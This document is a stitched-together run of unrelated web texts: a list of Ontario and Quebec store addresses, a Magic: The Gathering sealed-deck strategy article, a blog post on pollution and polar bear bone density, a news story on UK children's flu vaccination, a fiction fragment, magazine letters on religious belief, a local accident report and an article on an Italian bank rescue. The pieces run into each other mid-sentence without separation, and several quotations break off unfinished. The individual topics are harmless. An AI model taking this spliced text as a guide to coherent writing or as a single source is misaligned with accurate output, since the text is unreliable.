Wal-Mart - 1100 - 10th St, Hanover
Best Buy - 745 Kanata Ave, Kanata
EB Games - #2 - 501 Earl Grey Dr, Kanata
Future Shop - 255 Kanata Ave, Kanata
Wal-Mart - 500 Earl Grey Dr, Kanata
Wal-Mart - 340 Colonnade Dr, Kemptville
The Source - #10 - 443 The Queensway S, Keswick
Wal-Mart - 23550 Woodbine Ave, Keswick
Best Buy - 770 Gardiners Rd, Kingston
Future Shop - #1 - 616 Gardiners Rd, Kingston
The Source - #L-044 - 945 Gardiners Rd, Kingston
The Source - 1040-1096 Princess St, Kingston
Toys R Us - 1020 Midland Ave, Kingston
Best Buy - 215 Fairway Rd S, Kitchener
EB Games - #G6 - 2960 Kingsway Dr, Kitchener
EB Games - 245 Strasburg Rd, Kitchener
Future Shop - #A17 - 1400 Ottawa St S, Kitchener
Toys R Us - 419 Fairway Rd S, Kitchener
Wal-Mart - 1400 Ottawa St S, Kitchener
Wal-Mart - 100 The Boardwalk, Kitchener
Best Buy - 1080 Wellington Rd S, London
Best Buy - #1 - 1735 Richmond St, London
EB Games - #L124 - 1680 Richmond St N, London
EB Games - 1925 Dundas St, London
EB Games - 1320 Fanshawe Park Rd, London
Future Shop - 1051 Wellington Rd, London
Future Shop - 1855 Hyde Park Rd, London
The Source - #L90 - 1680 Richmond St, London
Toys R Us - 3075 Wonderland Rd S, London
Wal-Mart - 1105 Wellington Rd S, London
Best Buy - 5000 Highway #7 E, Markham
EB Games - #11 - 5000 Hwy 7 E, Markham
EB Games - 8555 Woodbine Ave, Markham
Future Shop - 8601 Warden Ave, Markham
Future Shop - 7700 Markham Rd, Markham
Toys R Us - #E002 - 5000 Hwy 7, Markham
Wal-Mart - 500 Copper Creek Blvd, Markham
Best Buy - 1195 Maple Ave, Milton
The Source - 5100 Erin Mills Parkway, Mississauga
The Source - #2-724 100 City Centre Dr, Mississauga
The Source - 1250 South Service Rd, Mississauga
Best Buy - #1 - 6075 Mavis Rd, Mississauga
EB Games - #4 - 6045 Mavis Rd, Mississauga
Future Shop - 1475 Dundas St E, Mississauga
Future Shop - #2 - 5900 Mavis Rd, Mississauga
Future Shop - 2975 Argentia Rd, Mississauga
Wal-Mart - 3155 Argentia Rd, Mississauga
Future Shop - #3 - 3050 Vega Blvd, Mississauga
Toys R Us - A - 3150 Argentia Rd, Mississauga
Toys R Us - 4559 Hurontario St, Mississauga
Wal-Mart - 1500 Dundas St E, Mississauga
Wal-Mart - #1-838 100 City Centre Dr, Mississauga
Wal-Mart - 9455 Mississuaga Rd, Mississuaga
EB Games - #3 - 50 Marketplace Ave, Nepean
EB Games - #100 - 1719 Merivale Rd, Nepean
Best Buy - 1701 Merivale Rd, Nepean
Future Shop - 3777 Strandherd Drive, Nepean
Future Shop - 1695 Merivale Rd, Nepean
The Source - 100 Bayshore Dr, Nepean
Best Buy - 18151 Yonge St, Newmarket
EB Games - E16 - 17600 Yonge St, Newmarket
Future Shop - 17890 Yonge St, Newmarket
The Source - 17600 Yonge St N, Newmarket
Toys R Us - 17600 Yonge St, Newmarket
Future Shop - 7555 Montrose Rd, Niagara Falls
Wal-Mart - 7481 Oakwood Dr, Niagara Falls
Best Buy - 695 Wilson Ave, North York
EB Games - #121 - 3401 Dufferin St, North York
Future Shop - #A14 - 5095 Yonge St, North York
Future Shop - 2625 Weston Rd, North York
The Source - 1800 Sheppard Ave E, North York
The Source - #16D - 526 Lawrence Ave W, North York
Toys R Us - #23 - 1448 Lawrence Ave E, North York
Best Buy - 2500 Winston Park Dr, Oakville
EB Games - 210 North Service Rd, Oakville
Future Shop - 310 Service Rd N, Oakville
Toys R Us - 290 North Service Rd W, Oakville
The Source - 240 Leighland Ave Unit 245&246, Oakville
Wal-Mart - 234 Hays Blvd, Oakville
Future Shop - 95 First St, Orangeville
Future Shop - #1 - 3200 Monarch Dr, Orillia
EB Games - #5 - 3890 Innes Rd, Orleans
Future Shop - C2 - 2020 Mer Bleue Rd, Orleans
Wal-Mart - 3900 Innes Rd, Orleans
EB Games - #2222 - 419 King St W, Oshawa
EB Games - 1445 Harmony Rd N, Oshawa
Future Shop - 1471 Harmony Rd N, Oshawa
The Source - #2220 - 419 King St W, Oshawa
Wal-Mart - 680 Laval Dr, Oshawa
Wal-Mart - 1471 Harmony Rd, Oshawa
Best Buy - 380 Coventry Rd, Ottawa
EB Games - #129 - 50 Rideau St, Ottawa
EB Games - 2269 Riverside Dr, Ottawa
EB Games - #1192-110 Place d'Orleans Dr, Ottawa
EB Games - #A-04 500 Terminal Ave, Ottawa
Future Shop - #1B - 2210 Bank St, Ottawa
The Source - #3-04 - 50 Rideau St, Ottawa
The Source - 1200 St Laurent Blvd, Ottawa
The Source - #130 - 50 Rideau St, Ottawa
The Source - #103 - 2121 Carling Ave, Ottawa
Toys R Us - 1683 Merivale Rd, Ottawa
Toys R Us - 1200 St Laurent Blvd, Ottawa
Wal-Mart - 450 Terminal Ave, Ottawa
Wal-Mart - 1375 Baseline Rd, Ottawa
Wal-Mart - 2210 Bank St, Ottawa
Wal-Mart - 1555 18th Ave E, Owen Sound
Wal-Mart - 1108 Pembroke St E, Pembroke
EB Games - 645 Lansdowne St W, Peterborough
Future Shop - 1101 Lansdowne St W, Peterborough
The Source - #38 - 645 Lansdowne St W, Peterborough
EB Games - #144 - 1355 Kingston Rd, Pickering
EB Games - #4 - 1300 Kingston Rd, Pickering
Future Shop - 1105-1163 Kingston Rd, Pickering
The Source - 1355 Kingston Rd, Pickering
Toys R Us - #3 - 1899 Brock Rd N, Pickering
Wal-Mart - 1899 Brock Rd N, Pickering
The Source - #E4 - 500 Rexdale Blvd, Rexdale
The Source - 1530 Albion Road # 68, Rexdale
EB Games - #D5 - 2267 Islington Ave, Rexdale
Best Buy - #C - 225 High Tech Rd, Richmond Hill
Future Shop - 9325 Yonge St, Richmond Hill
Toys R Us - 295 High Tech Rd, Richmond Hill
Wal-Mart - 255 Silver Linden Dr, Richmond Hill
EB Games - #139 - 1380 London Rd, Sarina
Future Shop - 1380 Exmouth St, Sarnia
Toys R Us - 1380 London Rd, Sarnia
Best Buy - 480 Progress Ave, Scarborough
Best Buy - 50 Ashtonbee Rd, Scarborough
EB Games - #E9 - 1900 Eglinton Ave E, Scarborough
Future Shop - 1141 Kennedy Rd, Scarborough
Future Shop - 806 Warden Ave, Scarborough
The Source - #223 - 300 Borough Dr, Scarborough
The Source - 15 Eglinton Square, Scarborough
Toys R Us - 3495 Lawrence Ave, Scarborough
Wal-Mart - 3132 Eglinton Ave E, Scarborough
Wal-Mart - 1900 Eglinton Rd, Scarborough
Wal-Mart - 114 Lombard St, Smiths Falls
Best Buy - #L-1 420 Vansickle Rd, St Catharines
Future Shop - G2-285 Geneva St, St Catharines
The Source - 221 Glendale Ave, St Catharines
Toys R Us - 87 Meadowvale Dr, St Catharines
Wal-Mart - #60 - 1063 Talbot St, St Thomas
Toys R Us - 5661 Hazeldean Road, Stittsville
Wal-Mart - 1050 Hoover Park Dr, Stouffville
EB Games - 1067 Ontario St, Stratford
The Source - 1067 Ontario St, Stratford
Toys R Us - 1099 Marcus Dr, Sudbury
Future Shop - 999 Barrydowne Rd, Sudbury
EB Games - #T15 - 1349 La Salle Blvd, Sudbury
Best Buy - 1099 Marcus Dr, Sudbury
Toys R Us - 300 Steeles Ave W, Thornhill
The Source - 200 Broadway St, Tillsonburg
Best Buy - 65 Dundas St W, Toronto
EB Games - #110 - 220 Yonge St, Toronto
EB Games - 2360 Yonge St, Toronto
EB Games - 425 Queen St W, Toronto
EB Games - 267 Yonge St, Toronto
The Source - #29 - 3401 Dufferin St, Toronto
Future Shop - 2400 Yonge St, Toronto
Future Shop - 10 Dundas St E, Toronto
Future Shop - 10 Old Stockyards Rd, Toronto
Future Shop - 1561 Queensway, Toronto
The Source - #C23 - 2300 Yonge St, Toronto
The Source - #1112 - 220 Yonge St, Toronto
The Source - 900 Dufferin St Unit 0190, Toronto
Toys R Us - 900 Dufferin St, Toronto
Toys R Us - 2300 Yonge St, Toronto
Wal-Mart - 2525 St Clair Ave W, Toronto
Wal-Mart - 3850 Sheppard Ave E, Toronto
Best Buy - 7850 Weston Rd, Vaughan
Future Shop - 101 Edgeley Blvd, Vaughan
Toys R Us - #C2 - 1 Bass Pro Mills Dr, Vaughan
Wal-Mart - 101 Edgeley Blvd, Vaughan
The Source - 1 Bass Pro Mills Dr Unit 142, Vaughan
EB Games - 310-606 Laurelwood Dr, Waterloo
Future Shop - D - 580 King St N, Waterloo
The Source - 550 King St N, Waterloo
EB Games - 800 Niagara St N, Welland
Best Buy - 1641 Victoria St E, Whitby
EB Games - 86 Thickson Rd S, Whitby
EB Games - #K-1 - 4160 Baldwin St S, Whitby
Future Shop - #8 - 1650 Victoria St, Whitby
Toys R Us - 50 Thickson Rd S, Whitby
The Source - #32 - 6338 Yonge St, Willowdale
Best Buy - 4379 Walker Rd, Windsor
EB Games - #T7 - 3100 Howard Ave, Windsor
EB Games - 4096 Walker Rd, Windsor
Future Shop - 4115 Walker Rd, Windsor
The Source - #D2-7650 Tecumseh Rd E, Windsor
The Source - 3100 Howard Ave, Windsor
The Source - 1640 Huron Church Rd, Windsor
The Source - 25 Amy Croft Dr Unit 15, Windsor
Toys R Us - 3039 Howard Ave, Windsor
Toys R Us - 200 Windflower Gate, Woodbridge
The Source - #C1 - 477 Norwich Ave, Woodstock
Wal-Mart - 499 Norwich Ave, Woodstock
QUEBEC
Best Buy - 7200 Des Roseraies Blvd, Anjou
EB Games - #D2 - 7999 Boul Les Galeries Danjo, Anjou
Future Shop - 7400 Boul des Roseraies, Anjou
The Source - #272 - 7999 Boul Les Gal D'Anjou, Anjou
Toys R Us - 7200 Boul Louis LaFontaine, Anjou
Future Shop - 847 Clemenceau St, Beauport
Wal-Mart - 224 Joseph Casavant Ave, Beauport
Future Shop - 3350 Des Grandes Tourelles Ave, Boisbriand
Toys R Us - C1/D1 3450 Ave Des Grandes-Tourelles, Boisbriand
Future Shop - 584 Chemin de Touraine, Boucherville
The Source - #16 - 2151 Lapiniere Boul, Brossard
Wal-Mart - 9000 Leduc Blvd, Brossard
Future Shop - #24 - 1401 Talbot, Chicoutimi
The Source - #C002 - 3035 Boul Le Carrefour, Chomedey-Laval
The Source - #35C - 374 Dorval Ave, Dorval
Future Shop - 880 Hains St, Drummondville
Toys R Us - 750 Rue Hains, Drummondville
Best Buy - 920 Maloney Blvd W, Gatineau
Future Shop - 25 Chemin de la Savane, Gatineau
The Source - #H-4 - 1100 Maloney Blvd W, Gatineau
Toys R Us - 25 Chemin de la Savane, Gatineau
Wal-Mart - 51 De La Gappe Blvd, Gatineau
Future Shop - 90 Rue Simonds N, Granby
Future Shop - 1800 Auguste St, Greenfield Park
The Source - #225 - 320 Boul Saint-Joseph, Hull
The Source - 45 Du Plateau, Hull
EB Games - #1392 - 1075 Firestore Blvd, Joliette
Wal-Mart - 1055 Boul Firestone, Joliette
Wal-Mart - 17000 Route Trans Canadienne, Kirkland
Future Shop - 790 Montee des Pionniers, Lachenaie
Future Shop - 790 Montee des Pionniers, Lachenaie
Best Buy - #502 - 7077 Newman Blvd, Lasalle
Future Shop - Unit B 6877 Boul Newman, Lasalle
Toys R Us - 7125 Boul Newman, Lasalle
Best Buy - 1560 Le Corbusier Blvd, Laval
EB Games - 3035 Le Carrefour Blvd, Laval
Future Shop - #31 - 1540 Boul des Corbusier, Laval
Future Shop - 940 Autoroute Chomedy Ouest, Laval
Toys R Us - 2600 Daniel Johnson Rd, Laval
Wal-Mart - 5205 de Val-Des-Bris Blvd, Laval
Wal-Mart - 700 Autoroute Chomedey, Laval
Wal-Mart - 1999 Roland Therrien, Longueuil
Future Shop - 113 Montee Masson, Mascouche
Future Shop - 113 Montee Masson, Mascouche
Best Buy - 8871 De L'Acadie Blvd, Montreal
EB Games - 677 St Catherine W, Montreal
EB Games - #187 - 7275 Sherbrooke St E, Montreal
EB Games - 6156 Henri-Bourassa Blvd E, Montreal
EB Games - 7057 Saint Hubert St, Montreal
Future Shop - #A9 - 1001 Rue De Marche Central, Montreal
Future Shop - 460 Rue St Catherine O, Montreal
Future Shop - 2313 Sainte-Catherine St W, Montreal
The Source - #215 - 6700 Ch Cote Des Neiges, Montreal
The Source - #30 - 4154 Jean-Talon St E, Montreal
The Source - 3140 Rue Masson, Montreal
The Source - 705 Sainte Catherine St W Unit 1202, Montreal
EB Games - C024 - 6815 Trans-Canada Hwy, Pointe Claire
Future Shop - 6321 Trans Canada, Pointe Claire
Best Buy - 6728 Trans-Canada Hwy, Pointe-Claire
The Source - 6815 Trans Canada Hwy, Pointe-Claire
Toys R Us - 6301 Transcanada Hwy, Pointe-Claire
Best Buy - 401 Blvd des Galeries, Quebec
EB Games - 5401 Des Galeries Blvd, Quebec
EB Games - 552 Winfrid Hamel Blvd, Quebec
The Source - 246A - 5401 Boul Des Galeries, Quebec
Toys R Us - 5401 Boulevard Des Galeries, Quebec
Future Shop - 1475 Lebourneuf Blvd, Quebec City
The Source - 1000 Rue St-Jean, Quebec City
Toys R Us - 100 Brien Blvd, Repentigny
EB Games - 900 Grignon Blvd, Saint Jerome
Best Buy - 1235 Blvd Les Promenades, Saint-Bruno
EB Games - #L010 - 274 Boulevard Promenades, Saint-Bruno
Future Shop - 1191 Blvd des Promenades, Saint-Bruno
The Source - 267 Boul Des Promenades, Saint-Bruno
Toys R Us - 655 Boul des Promenades, Saint-Bruno
EB Games - 1498 Jules-Verne Ave, Sainte-Foy
Future Shop - #2010 - 2700 Boul Laurier, Sainte-Foy
Toys R Us - 2700 Boul Laurier, Sainte-Foy
The Source - 367 Boul Arthur Sauve, Saint-Eustache
The Source - 600 Rue Pierre Caisse, Saint-Jean-Sur-Richelieu
Wal-Mart - 100 Rue Omer Marcil, St-Jean-Sur-Richelieu
Future Shop - 1040 Du Grand-Heron Blvd, Saint-Jerome
Best Buy - Bldg M-1255 Boul Plateau St Joseph, Sherbrooke
EB Games - 1290 Du Plateau St Joseph Blvd, Sherbrooke
Toys R Us - 3050 Boul Portland, Sherbrooke
Future Shop - 600 - Pierre-Caisse St, St Jean-Sur-Richelieu
Best Buy - 651 Des Migrateurs Rd, Terrebonne
Future Shop - #900A Carrefour Trois Rivieres O, Trois-Rivieres
Toys R Us - 4125 Boul des forges, Trois-Rivieres
Wal-Mart - 300 Rue Barkoff, Trois-Rivieres
Future Shop - 3090 De la Gare, Vaudreuil-Dorion
EB Games - #1790 -7077 Newman Blvd, Ville LaSalle
CLICK HERE for: Nova Scotia, New Brunswick or PEIEvery prerelease, I am reminded of the information gap between the Pros and the average players. The difference in execution and results are enormous, and it’s a matter of minor details. This article is meant to quickly give you the Pro information you need to win your next prerelease.
Last weekend, I played Battle for Zendikar Sealed. I found the format enjoyable—it reminded me ofZendikar mixed with Rise of the Eldrazi, two of my favorite sets coming together in a new form. I had good opens and I played this deck:
Deck List
My entire tournament report goes like this—it was 3 rounds, I won all 6 games with an average start of 2 more cards than the opponent. I lost every die roll and my opponent chose to play first every time. I mulliganed 0 times, and my opponents mulliganed 7 times. So, on average, I was ahead by more than 2 cards after the first turn.
Whatever happens from there really isn’t that important, because a 2-card advantage is hard to lose with in Sealed. Yes, this was a small sample size, but it’s been a consistent and obvious pattern over many prereleases. Usually I get to show some people to draw first, but this time I didn’t get the chance, so I’m writing this article.
1. Draw First!
Draw first in Sealed. This is what the Pros do.You wouldn’t necessarily know this without playing against Pros, but now you know. Here’s a quote from the most successful tournament Magic player of all time, Kai Budde:
“I am fairly sure that no one else on PT level has said ‘I am going to draw first’ as often as I have and that isn’t just Sealed Deck. I do that a lot in Draft and even Constructed matches. Drawing the extra card is something that I value more than most people, also because it gives me some sort of mulligan protection as you can keep way more hands if you get to draw an 8th card during your first turn.”
Why draw first? Extra cards matter more in slower formats like Sealed. In Constructed, everyone’s decks are finely tuned and you are at risk of falling behind and losing early. But in Sealed you’re at risk of running out of steam and the player with the most cards at the end is more likely to win the game. Do like the Pros and give yourself a one-card starting advantage.
2. Don’t Mulligan!
Can your opening hand cast even one spell? Keep it! Is it perfect? Doesn’t matter, you draw one new card every turn. Mulliganing is at best perfect minus one, and it’s usually much worse than that. Cards matter. Give yourself more cards. It doesn’t matter if you can’t use everything now, because later you will unlock those cards and will have them instead of not having them. Take a drink of another Kai Budde quote:
“I for one am not a huge fan of going down to six cards and I don’t mean that as in ‘I prefer to always draw good hands.’ I frequently keep six lands and a mediocre spell/creature on the play.”
My prerelease opponents have been mulliganing on average once per game, while I mulligan an average 10% of the time (maybe less). I’m playing with a super unfair advantage. What is going on here?
3. Craft a Deck that Doesn’t Mulligan! (Play 18 Lands)
Part of not mulliganing means crafting a deck that doesn’t mulligan. How do we do this? Play good mana! Keep it to 2 colors and splash a third only if you have awesome nonbasic lands. This simple strategy will let you keep most of your hands.
This also means playing 18 lands. Playing 18 is the standard for Pros in Sealed, and sometimes in draft too. Kai Budde once again really pioneered this, usually playing 18 in Sealed and frequently playing 18 in draft while winning five individual Pro Tour titles. Here’s one instance.
Kai’s reasoning: “I think we just like to cast our spells more than everyone else does.” My reason? I think I like to keep more hands than everyone else does. Play extra lands, see lands in your opening hand, keep, and you already have advantage against the field.
4. Plan for a Surplus
If we’re going to play extra lands it means an increased risk of mana surplus or “flood.” This is easy to remedy by playing cards that are useful at higher mana costs. This can mean a few big fatties in the deck, but also means playing cards with flexible mana costs. Things that are useful earlier or later, depending on your mana situation. These are available in almost every Limited format. Look for them and put them in your deck.
In my prerelease, I packed plenty of landfall creatures to benefit from extra lands, as well as Pathway Arrows, Lumbering Falls, and flexible awaken spells like Clutch of Currents and Coastal Discovery.
Cards like these are useful in the early game but get better and better the more lands you draw. They play well with 18 lands and play well with those 6-land hands that Kai Budde likes to keep. Jam your deck full of these flexible-cost spells.
5. Win Your Next Prerelease
In summary, take note of what the Pros do, make a few minor adjustments, and take a massive lead on the field. Draw first, build a deck that keeps everything, keep, and ride your 1-2 card advantage to victory. Follow this recipe and you have the keys to winning your next prerelease. Enjoy.A recent essay in the print edition of New Scientist magazine called "Hard times for polar bears as pollution linked to penis bone" caught my eye (the online version is titled "Polar bear penis bone may be weakened by pollution") because it showed once again the insidious and wide-ranging deleterious effects we are having on these magnificent animals as well as many others. It turns out that "high levels of polychlorinated biphenyls (PCBs) were associated with bears having a less dense baculum (penis bone), which may prevent successful."
A research lead by Dr. Christian Sonne, who works at Aarhus University in Denmark, reported their findings in a paper called "Penile density and globally used chemicals in Canadian and Greenland polar bears" in the journal Environmental Research. They conclude in the abstract to this essay, "While reductions in BMD (bone mineral density) is in general unhealthy, reductions in penile BMD could lead to increased risk of species extinction because of mating and subsequent fertilization failure as a result of weak penile bones and risk of fractures. Based on this, future studies should assess how polar bear subpopulations respond upon EDC exposure since information and about their circumpolar reproductive is vital for future conservation."
Hard and unhard times for polar bears
Based on these findings, the title of the print version of the New Scientist essay could well have been "Unhard times for polar bears." On a more serious note, this landmark study shows just how much we affect the lives of other animals in unimaginable ways, making for hard times and threatening their very survival. Polar bears and many other species are getting screwed, or not, and what's even more egregious is that PCBs are very slow to break down, they disperse and accumulate over time. As the authors of this paper note, many pollutants "are known to be disrupting chemicals (EDCs) and are also known to be long-range dispersed and to biomagnify to very high concentrations in the tissues of Arctic apex predators such as polar bears (Ursus maritimus). A major concern relating to EDCs is their effects on vital organ–tissues such as bone and it is possible that EDCs represent a more serious challenge to the species' survival than the more conventionally proposed prey reductions linked to."
I hope that this study is taken more seriously than others that clearly show just how harmful environmental pollutants can be, and more than lip service is given to banning their use and trying to reduce their presence. Polar bears are the poster animals for just how destructive we can be, and their loss is a very sad occurrence as we trounce ecosystem upon ecosystem and their magnificent residents.
The teaser image can be seen here.
Marc Bekoff's latest books are Jasper's story: Saving moon bears (with Jill Robinson), Ignoring nature no more: The case for compassionate conservation, Why dogs hump and bees get depressed, and Rewilding our hearts: Building pathways of compassion and coexistence. The Jane effect: Celebrating Jane Goodall (edited with Dale Peterson) has recently been published. (marcbekoff.com; @MarcBekoff)Image copyright Astra Zeneca Image caption Nasally introduced flu vaccine
All two to 17-year-olds in the UK are to be offered annual flu vaccinations.
If 30% take up the offer, there will be 11,000 fewer hospitalisations and 2,000 fewer deaths each year, the chief medical officer for England says.
The children will be immunised using a nasal spray rather than an injection, starting in 2014 at the earliest.
The injectable flu vaccine will continue to be offered to the over-65s, pregnant women and those with medical conditions such as asthma.
Children usually get a mild and sometimes unpleasant illness from seasonal flu. They rarely suffer complications. Youngsters who do are usually in the at-risk groups already offered a flu vaccine.
Media playback is unsupported on your device Media caption Prof Dame Sally Davies: "This should result in 11,000 fewer hospitalisations and 2,000 fewer deaths each year"
The Joint Committe on Vaccination and Immunisation (JCVI) said the new strategy would avert a large number of flu cases among children as well as many severe cases and deaths, mostly among the elderly and others vulnerable to the infection.
Chief medical officer for England, Prof Dame Sally Davies, told me: "Even with moderate uptake of 30% it's estimated that this should result in 11,000 fewer hospitalisations and 2,000 fewer deaths each year.
"But we will aim to get a much higher proportion of children immunised and that will save even more lives."
Those figures are based on an unpublished study from the Health Protection Agency and the London School of Hygiene and Tropical Medicine.
Parents
Prof Davies said most of the details of the immunisation programme had still to be worked out, including negotiating a contract price for the vaccine, which is marketed by AstraZeneca.
The Department of Health said the company would not have the capacity to deliver enough vaccine until 2014 at the earliest.
Fluenz is a live attenuated - weakened - intranasal vaccine, which has been used for several years in the United States under the brand name FluMist.
In the minutes of its latest meeting the JCVI says the vaccine has "a good safety profile" and may be more widely accepted by parents and children because it is given in the form of a nasal spray.
But side effects can include mild flu-like symptoms, including a runny nose or sore throat.
Prof Adam Finn, consultant in paediatric infectious diseases at Bristol Royal Hospital for Children, said: "This is a good idea as we know it's effective and safe and flu can be a serious illness in childhood, not just in old age.
"There should be time to do some more research before we introduce the vaccine to help us predict how well such a programme would be accepted and would work."
The expectation is that under-fives will be vaccinated in GP surgeries and older children at school, but the JCVI says there are currently "far too few" school nurses to enable this to happen.
The committee also said it would be a "huge expansion" of the immunisation programme, more than doubling the number of vaccinations offered to children before they reach adulthood.
Nine million children will be eligible for the nasal flu vaccine and the price tag could be more than £100m a year.
Children under nine are likely to require two doses of the vaccine spaced a few weeks apart, with older children needing one dose.
The UK is thought to be the first country in the world to offer free flu immunisation to all children. Like all other vaccines here it will not be compulsory.
Herd immunity
The JCVI says there may be "mixed reactions" to the flu immunisation plans and it recommends an information campaign for parents, children and healthcare staff.
All immunisation is intended to benefit the wider population as well as the individual through what is known as herd immunity. There are already examples where the benefit is largely for others.
All children are immunised against rubella (also known as German measles). The virus causes only a mild infection in children. But if a woman catches the infection during early pregnancy it can cause serious damage to the developing baby.
By immunising all |
torrent of snow.
As the snowflakes settle around me I see in the distance a tower I have known all along was there. The dark silhouette from my dream. I can see it clearly now, reaching up into the heavens. And I can hear the bells. The bells tolling as they did on my wedding day. In the garden I watch Hiroko tending the wilted honeysuckle, except it isn’t Hiroko. Never was Hiroko. Easier to think it is though than to remember she never returned that day from market. Everything is unfolding. I look back out of the east window but all I see is west.
Scissors: I like the sound they make as the blades touch; Snip! Snip! Snip! I hold my garment of a thousand paper cranes and I cut the strings.
The cranes burst free from their shackles and soar into the air. The string falls to the ground. The cranes swarm around the room in unison and then, as in my dream, rest upon me. But the paper doesn’t hurt this time. Their claws scratch against me but I feel no pain. One rests on the stone in my palm. Its wings open and close like that of a butterfly. Then it flies away.
Paper: the cranes have begun to move, their wings beating, beating, beating. And suddenly I am weightless. They lift me up by my dress and I let them, remembering being carried in the arms of my prince. Teddy’s arms on our wedding day, across the threshold. My robe of a thousand paper cranes carries me over the broken glass, over the years, and out of the window I fly.In response to:
Can Religious Belief Be Tested? from the November 8, 2012 issue
A Philosopher Defends Religion from the September 27, 2012 issue
To the Editors:
Thomas Nagel writes that “whether atheists or theists are right depends on facts about reality that neither of them can prove” [“A Philosopher Defends Religion,” Letters, NYR, November 8]. This is not quite right: it depends on what kind of theists we have to do with. We can, for example, know with certainty that the Christian God does not exist as standardly defined: a being who is omniscient, omnipotent, and wholly benevolent. The proof lies in the world, which is full of extraordinary suffering. If someone claims to have a sensus divinitatis that picks up a Christian God, they are deluded. It may be added that genuine belief in such a God, however rare, is profoundly immoral: it shows contempt for the reality of human suffering, or indeed any intense suffering.
Galen Strawson
University of Reading
Reading, United Kingdom
University of Texas at Austin
Austin, Texas
To the Editors:
Pursuing the dialogue between myself and Thomas Nagel [Letters, NYR, November 8] regarding his review of Alvin Plantinga’s Where the Conflict Really Lies: Science, Religion, and Naturalism [NYR, September 27]:
To show there’s no extrasensory perception, it suffices to show that there’s no serious evidence of it; no deep philosophical reflection is needed. Similarly, when Plantinga postulates a “sensus divinitatis” (SD), or a special faculty that leads people to believe in God, this is a claim that should be empirically testable. Presumably, the faculty involves more than theists’ beliefs simply turning out to be true, as Nagel suggests, but some special system that could detect Him, as sight can light. Of course, it might be hard to test the SD unless there were also evidence of God, but in my letter I was presuming for the sake of argument that Plantinga provided such evidence—he argues, for example, that our scientific abilities required divine intervention. It should therefore be a matter of empirical research to establish the further psychological claim, which a reasonable theist could deny, that people’s theistic beliefs are the result of some special and reliable SD.
Nagel writes that Plantinga would complain that this demand for evidence is “question-begging.” But how could a demand merely for evidence for a claim beg a question against it? Because, Nagel explains, the claim that belief in God is the product of an SD implanted in us by God “is not, in Plantinga’s view, provable either empirically or by other means. Rather, it is a theological hypothesis,” on a par with belief in the reality of the past.
But this claim about what’s provable is neither theological nor psychological; it is a further epistemological one, that neither a theist nor a believer in an SD need accept (indeed, it’s incompatible with Plantinga’s own recourse to the success of science as evidence of God!). So the original question of the SD is not being begged. Moreover, unlike belief in the past, which it’s hard seriously to imagine being false, and is supported by the vast majority of our other beliefs, belief in God or an SD is quite easily imagined to be false, and is supported by few other beliefs, if any.
Georges Rey
Department of Philosophy
University of Maryland
College Park, Maryland
Thomas Nagel replies:
I believe Georges Rey errs in comparing the Calvin/Aquinas claim of a sensus divinitatis to belief in ESP. ESP can be tested by controlled experiments, to see whether its results vary in correspondence with independent variation in the facts supposedly “sensed.” But either God exists or he doesn’t. We cannot conduct controlled experiments to see whether believers detect God when he is present but not when he is absent.
Plantinga’s point is that if God exists and directly causes most people to believe in him, that would be a basic source of knowledge whose authority was independent of other basic sources, like memory, logic, and perception. To demand evidence of a different kind for the reliability of a sensus divinitatis is to beg the question by assuming that it does not have this basic character. The argument is intended to show how faith could be a source of knowledge if God exists; it is not intended to convince atheists to change their minds.
Galen Strawson offers what I believe to be the most powerful argument against the existence of God, the argument from evil. The theistic responses to that argument of which I am aware seem unpersuasive, and I find it hard to understand how belief in an all-good and all-powerful deity can survive in the face of it. Even if a theist supposes that the problem has a solution that we humans are unable to grasp, that would mean that God, who created us with the capacity to discover the laws of nature and to find the world scientifically intelligible, has made us incapable of finding the world morally intelligible. These are powerful reasons for doubt, and they have certainly destroyed the faith of some believers. Still, I would resist Strawson’s conclusion that they rise to the level of proof.EMBED >More News Videos Watch surveillance video that shows a woman fall into a sidewalk access door that was open.
A woman was injured in New Jersey Thursday afternoon when she fell 6 feet through a sidewalk access door while distracted by her cell phone.The incident happened just after noon in front of Acme Windows on Somerset Street in Plainfield.Authorities say the 67-year-old woman appeared to be texting when she fell through the open bilco doors.She fell 6 feet to the floor below.A girl and woman walking in the other direction saw it all, and in just a few moments, a whole crowd gathered to see what happened.The Plainfield Fire Division extricated the woman from the hole and rushed her to the hospital for treatment of serious injuries.The access doors were open due to the repair of gas lines in the area. You can see the helmet of a worker inside the hole at the time of the fall.The victim is listed in serious condition.--Raw video credit: Acme Windows via StoryfulThe Italian government is laying the groundwork for a potential €20bn rescue of the country’s most troubled banks, including Monte dei Paschi di Siena (MPS).
A government statement issued late on Monday night said that the prime minister, Paolo Gentiloni, had convened a cabinet meeting to request the funds from parliament.
The statement said: “[It] could be necessary to adopt measures with the aim of protecting savers if there were risks in the financial sector”. The vote in parliament could happen as soon as Wednesday, according to the Italian news agency Ansa.
The news signals that a multi-billion euro refinancing of MPS could occur within days. Seven other banks that are struggling under the weight of bad loans amounting to billions of euros may also require government recapitalisation.
The cabinet meeting was convened just hours after MPS, the world’s oldest bank, formally launched a desperate attempt to stave off government rescue and raise €5bn (£4.2bn) from private investors. It has less than 10 days to secure private funding before the government intervenes.
The bank’s shares fell 8.5% on Monday as it launched a share offering to institutional and retail investors. This measure runs alongside a plan to ask bondholders to swap their investments for shares, and a restructuring of €28bn of bad loans to clean up its balance sheet.
However, with the clock ticking on wooing private-sector investors to support the fundraising, one of the key backers of the bank’s planexpressed doubts.
Monte dei Paschi bailout: what you need to know – the Guardian briefing Read more
MPS announced that Quaestio, which manages the government-orchestrated bailout fund Altante, is concerned about the terms of a loan to support the parcelling-off of bad debts.
The move could jeopardise the entire capital-bolstering exercise, which must be completed by the end of the year because of a deadline imposed by the European Central Bank after MPS was found to be the weakest performing of 51 European banks subjected to stress tests – a financial health check – in results published in July.
MPS said: “If it is not possible for the bank to reach an agreement with Quaestio to resolve the issues that it has raised, the transaction would not be able to be completed in accordance with the terms and conditions of the authorisation of the European Central Bank which provides for the transaction to be completed by 31 December 2016.”
The bank has become the focus of fears about the Italian banking system, which is saddled with €360bn of bad debts amassed in recent years during a period of economic weakness. UniCredit, Italy’s biggest bank, last week announced plans to raise €13bn in a record-breaking share issue and axe 11% of the workforce.
Those concerns have mounted after Italy’s referendum on constitutional reform earlier this month led to the resignation of the prime minister, Matteo Renzi, creating fresh political turmoil in the midst of MPS’s attempts to attract major investors to its fundraising.
This fuelled fears that the Italian government would have to step in to help save the country’s third biggest bank in a move that could force thousands of private investors, who hold €2.1bn worth of bonds, to take losses. New EU rules intended to protect taxpayers from bailing out banks mean that bondholders must take a hit before government money can be used.
